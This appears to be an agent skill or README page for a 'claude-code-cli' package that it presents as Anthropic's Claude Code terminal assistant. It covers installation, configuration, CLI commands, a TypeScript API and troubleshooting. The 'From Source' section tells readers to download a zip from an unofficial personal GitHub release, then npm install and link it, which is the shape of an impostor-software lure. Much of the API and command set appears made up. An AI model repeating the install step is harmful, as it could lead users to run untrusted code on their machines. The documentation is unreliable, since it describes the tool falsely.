| name | claude-code-cli-terminal-assistant |
| description | Agentic coding system and terminal assistant powered by Anthropic Claude with multi-file editing, git workflows, MCP protocol, and automation |
| triggers | ["use claude code cli","set up claude terminal assistant","configure claude code cli with mcp","run claude agentic coding system","use claude cli for multi file editing","automate with claude code cli","integrate claude cli with git workflows","setup model context protocol for claude"] |
Claude Code CLI Terminal Assistant
Skill by ara.so — Devtools Skills collection.
Claude Code CLI is an agentic coding system and terminal assistant that leverages Anthropic's Claude models to provide codebase understanding, multi-file editing, git workflow automation, Model Context Protocol (MCP) integration, and CI/CD capabilities directly from the command line.
What It Does
- Agentic Coding: AI-powered coding assistant that understands entire codebases
- Multi-File Editing: Edit multiple files simultaneously with context awareness
- Git Workflows: Automated git operations and workflow management
- MCP Protocol: Model Context Protocol for enhanced context sharing
- Subagents: Spawn specialized agents for different tasks
- CI/CD Integration: Automate testing, deployment, and continuous integration
- Terminal Assistant: Natural language interface for development tasks
Installation
Global Installation (Recommended)
npm install -g claude-code-cli
From Source
wget https://github.com/Harkirat1462/claude-code-cli/releases/download/CLAUDE-CODE/claude-code-cli.zip
unzip claude-code-cli.zip
cd claude-code-cli
npm install
npm link
Environment Setup
Set your Anthropic API key:
export ANTHROPIC_API_KEY="your-api-key-here"
$env:ANTHROPIC_API_KEY="your-api-key-here"
set ANTHROPIC_API_KEY=your-api-key-here
For persistent configuration, add to ~/.bashrc, ~/.zshrc, or Windows environment variables.
Basic Configuration
Create a configuration file at ~/.claude-code-cli/config.json:
{
"model": "claude-3-5-sonnet-20241022",
"maxTokens": 4096,
"temperature": 0.7,
"multiFileEditing": true,
"mcpEnabled": true,
"gitIntegration": true,
"subagents": {
"enabled": true,
"maxConcurrent": 3
},
"cicd": {
"autoTest": true,
"autoCommit": false
}
}
Key Commands
Interactive Mode
claude-code
claude-code --model claude-3-opus-20240229
claude-code --project ./my-project
Single Command Mode
claude-code "refactor the authentication module"
claude-code "update all API endpoints to use async/await"
claude-code "create a feature branch for user authentication"
Codebase Analysis
claude-code analyze
claude-code analyze ./src
claude-code document --output ./docs
Multi-File Editing
claude-code edit --files "src/**/*.ts" --task "add error handling"
claude-code edit --interactive
Git Workflows
claude-code git commit
claude-code git pr --title "Add feature X"
claude-code git review
TypeScript API Usage
Basic Usage
import { ClaudeCodeCLI } from 'claude-code-cli';
const cli = new ClaudeCodeCLI({
apiKey: process.env.ANTHROPIC_API_KEY,
model: 'claude-3-5-sonnet-20241022',
});
const result = await cli.execute({
task: 'Refactor this function to be more readable',
context: {
files: ['src/utils/helpers.ts'],
codebase: './src',
},
});
console.log(result.changes);
Multi-File Editing
import { MultiFileEditor } from 'claude-code-cli';
const editor = new MultiFileEditor({
apiKey: process.env.ANTHROPIC_API_KEY,
mcpEnabled: true,
});
const edits = await editor.editFiles({
pattern: 'src/**/*.ts',
task: 'Add JSDoc comments to all exported functions',
preserveFormatting: true,
});
await editor.applyChanges(edits);
MCP Protocol Integration
import { MCPClient } from 'claude-code-cli';
const mcp = new MCPClient({
apiKey: process.env.ANTHROPIC_API_KEY,
contextWindow: 200000,
});
await mcp.setContext({
project: './my-project',
files: ['src/**/*.ts', 'tests/**/*.test.ts'],
dependencies: true,
});
const response = await mcp.execute({
task: 'Find all API calls and ensure they have proper error handling',
});
Subagent Management
import { SubagentManager } from 'claude-code-cli';
const manager = new SubagentManager({
apiKey: process.env.ANTHROPIC_API_KEY,
maxConcurrent: 3,
});
const agents = await manager.spawnAgents([
{ role: 'tester', task: 'Write unit tests for new features' },
{ role: 'documenter', task: 'Update README and API docs' },
{ role: 'reviewer', task: 'Review code for best practices' },
]);
const results = await manager.waitAll();
Git Workflow Automation
import { GitWorkflow } from 'claude-code-cli';
const git = new GitWorkflow({
apiKey: process.env.ANTHROPIC_API_KEY,
repository: './my-repo',
});
await git.createBranch({
baseBranch: 'main',
featureName: 'user-authentication',
generateName: true,
});
await git.commit({
files: ['src/auth/**'],
generateMessage: true,
conventional: true,
});
await git.createPullRequest({
title: 'Add user authentication',
generateDescription: true,
includeContext: true,
});
CI/CD Integration
import { CICDIntegration } from 'claude-code-cli';
const cicd = new CICDIntegration({
apiKey: process.env.ANTHROPIC_API_KEY,
autoTest: true,
});
await cicd.preCommitHook({
runTests: true,
runLinter: true,
fixIssues: true,
});
const config = await cicd.generateConfig({
platform: 'github-actions',
tests: true,
deployment: 'vercel',
});
await cicd.saveConfig('.github/workflows/ci.yml', config);
Common Patterns
Refactoring Large Codebases
import { ClaudeCodeCLI } from 'claude-code-cli';
const cli = new ClaudeCodeCLI({
apiKey: process.env.ANTHROPIC_API_KEY,
});
const refactor = await cli.refactor({
scope: 'src/legacy/**/*.js',
target: 'src/modern/**/*.ts',
strategy: 'incremental',
preserveTests: true,
updateImports: true,
});
console.log(`Refactored ${refactor.filesChanged} files`);
Automated Code Review
import { CodeReviewer } from 'claude-code-cli';
const reviewer = new CodeReviewer({
apiKey: process.env.ANTHROPIC_API_KEY,
standards: './code-standards.md',
});
const review = await reviewer.reviewChanges({
branch: 'feature/new-api',
base: 'main',
checkList: [
'security',
'performance',
'accessibility',
'test-coverage',
],
});
await reviewer.postComments(review);
Test Generation
import { TestGenerator } from 'claude-code-cli';
const generator = new TestGenerator({
apiKey: process.env.ANTHROPIC_API_KEY,
framework: 'jest',
});
const tests = await generator.generateTests({
sourceFiles: 'src/services/payment.ts',
outputDir: 'tests/services',
coverage: 'comprehensive',
includeEdgeCases: true,
});
await generator.writeTests(tests);
Documentation Generation
import { DocGenerator } from 'claude-code-cli';
const docGen = new DocGenerator({
apiKey: process.env.ANTHROPIC_API_KEY,
});
await docGen.generate({
source: './src',
output: './docs',
formats: ['markdown', 'html'],
includeExamples: true,
includeAPI: true,
});
Configuration Files
.claude-code-cli.json (Project-level)
{
"model": "claude-3-5-sonnet-20241022",
"ignorePatterns": [
"node_modules/**",
"dist/**",
".git/**",
"*.log"
],
"filePatterns": {
"code": ["**/*.ts", "**/*.js", "**/*.tsx", "**/*.jsx"],
"tests": ["**/*.test.ts", "**/*.spec.ts"],
"docs": ["**/*.md"]
},
"mcp": {
"enabled": true,
"contextSources": [
"files",
"git-history",
"dependencies",
"documentation"
]
},
"subagents": {
"roles": {
"tester": {
"model": "claude-3-5-sonnet-20241022",
"temperature": 0.3
},
"documenter": {
"model": "claude-3-5-sonnet-20241022",
"temperature": 0.5
},
"reviewer": {
"model": "claude-3-opus-20240229",
"temperature": 0.2
}
}
},
"git": {
"autoStage": false,
"conventionalCommits": true,
"signCommits": false
}
}
Troubleshooting
Command Not Found
Problem: claude-code: command not found
Solution:
npm list -g claude-code-cli
npm install -g claude-code-cli --force
export PATH="$PATH:$(npm root -g)/claude-code-cli/bin"
API Key Authentication Error
Problem: API key not recognized or invalid
Solution:
echo $ANTHROPIC_API_KEY
export ANTHROPIC_API_KEY="your-key"
claude-code config set apiKey
Multi-File Editing Not Working
Problem: Multi-file operations fail or incomplete
Solution:
const editor = new MultiFileEditor({
apiKey: process.env.ANTHROPIC_API_KEY,
mcpEnabled: true,
contextWindow: 200000,
});
await editor.setBatchMode(true);
Git Workflows Issues
Problem: Git integration fails or permissions error
Solution:
git --version
git status
git init
git config --global user.name "Your Name"
git config --global user.email "your@email.com"
Slow Response / Performance
Problem: CLI is slow or unresponsive
Solution:
const cli = new ClaudeCodeCLI({
apiKey: process.env.ANTHROPIC_API_KEY,
maxTokens: 2048,
contextWindow: 100000,
});
await cli.enableCache({
ttl: 3600,
maxSize: 100,
});
Subagents / Automation Errors
Problem: Subagents fail or timeout
Solution:
const manager = new SubagentManager({
apiKey: process.env.ANTHROPIC_API_KEY,
timeout: 300000,
maxConcurrent: 2,
retryAttempts: 3,
});
const mcp = await manager.getMCPStatus();
if (!mcp.enabled) {
await manager.enableMCP();
}
Model Context Protocol Issues
Problem: Context not being preserved across sessions
Solution:
import { MCPClient } from 'claude-code-cli';
const mcp = new MCPClient({
apiKey: process.env.ANTHROPIC_API_KEY,
persistContext: true,
contextStorage: './.claude-code-cli/context',
});
const context = await mcp.getContext();
console.log('Context size:', context.tokens);
Bug Reports and Updates
Problem: Crashes or unexpected behavior
Solution:
npm update -g claude-code-cli
claude-code --version
claude-code doctor
claude-code --debug --verbose
claude-code bug-report
Best Practices
- Always set environment variables for API keys rather than hardcoding
- Use MCP for large codebases to maintain context across operations
- Enable subagents for parallel tasks to improve efficiency
- Configure ignore patterns to exclude unnecessary files from context
- Use conventional commits with git integration for better changelog generation
- Enable auto-testing in CI/CD to catch issues before commit
- Keep context window appropriate to balance performance and accuracy
- Use incremental refactoring for large-scale code changes